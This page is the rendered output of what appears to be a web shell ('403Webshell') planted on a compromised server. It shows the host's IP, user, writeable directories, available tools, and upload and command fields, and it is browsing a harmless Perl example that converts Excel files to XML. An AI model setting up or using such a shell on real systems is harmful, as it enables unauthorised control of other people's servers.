403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/doc/libspreadsheet-parseexcel-perl/examples/sample/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/doc/libspreadsheet-parseexcel-perl/examples/sample/dmpEx_2xml.pl
#!/usr/bin/perl

#Khalid EZZARAOUI khalid@yromem.com
use strict;
if(!(defined $ARGV[0])) {
    print<<EOF;
Usage: $0 Excel_File
EOF
    exit;
}
use Spreadsheet::ParseExcel;
my $oExcel = new Spreadsheet::ParseExcel;
my $oBook = $oExcel->Parse($ARGV[0]);

my($iR, $iC, $oWkS, $oWkC);
print '<?xml version="1.0" encoding="ISO-8859-1"?>', "\n";
print "<document>", "\n";

print "\t", "<meta>", "\n";
print "\t\t", "<file>", $oBook->{File} , "</file>", "\n";
print "\t\t", "<sheetcount>", $oBook->{SheetCount} , "</sheetcount>", "\n";
print "\t\t", "<author>", $oBook->{Author} , "</author>", "\n";
print "\t", "</meta>", "\n";

print "\t", "<sheets>", "\n";
#for(my $iSheet=0; $iSheet < $oBook->{SheetCount} ; $iSheet++) {
#    $oWkS = $oBook->{Worksheet}[$iSheet];
foreach my $oWkS (@{$oBook->{Worksheet}}) {
	print "\t\t", "<sheet " ;
	print "name=\"", $oWkS->{Name}, "\" >",  "\n";
	for(my $iR = $oWkS->{MinRow} ; defined $oWkS->{MaxRow} && $iR <= $oWkS->{MaxRow} ; $iR++) {
		print "\t\t\t", "<row num=\"", $iR, "\">", "\n" ;
		for(my $iC = $oWkS->{MinCol} ; defined $oWkS->{MaxCol} && $iC <= $oWkS->{MaxCol} ; $iC++) {
			$oWkC = $oWkS->{Cells}[$iR][$iC];
			print "\t\t\t\t", "<col num=\"", $iC, "\"", ">", $oWkC->Value, "</col>", "\n" if($oWkC);
			# print $oWkC->{_Kind}, "\n";
			}
		print "\t\t\t", "</row>", "\n" ;
	}
	print "\t\t", "</sheet>\n" ;
}
	
print "\t", "</sheets>", "\n";

print "</document>", "\n";


Youez - 2016 - github.com/yon3zu
LinuXploit